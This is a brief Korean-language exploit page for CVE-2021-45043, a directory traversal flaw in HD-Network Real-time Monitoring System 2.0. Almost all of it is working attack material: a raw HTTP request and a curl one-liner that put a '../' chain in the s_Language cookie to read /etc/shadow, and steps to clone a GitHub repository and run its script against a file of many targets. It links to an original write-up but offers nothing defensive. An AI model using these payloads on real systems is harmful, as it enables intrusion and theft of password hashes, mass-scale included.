cve-2021-45043

HD-Network 실시간 모니터링 시스템 2.0은 /language/lang s_Language 매개변수를 통해 ../ 디렉터리 트래버설을 허용하여 /etc/shadow를 읽을 수 있습니다.

최초 게시물

https://cyberguy0xd1.medium.com/my-cve-2021-45043-lfi-write-up-441dad30dd7f

Burp를 통한 익스플로잇

GET /language/lang HTTP/1.1 Host: IP.target Cookie: s_Language=../../../../../../../../../../../../../../etc/shadow

원라이너를 통한 익스플로잇

curl -k -s -H "Cookie: s_Language=../../../../../../../../../../../../../../etc/shadow" -X GET http://IP.target/language/lang

대량 타깃 익스플로잇

git clone https://github.com/g30rgyth3d4rk/cve-2021-45043.git

cd cve-2021-45043/

chmod +x script.sh

./script.sh targets.txt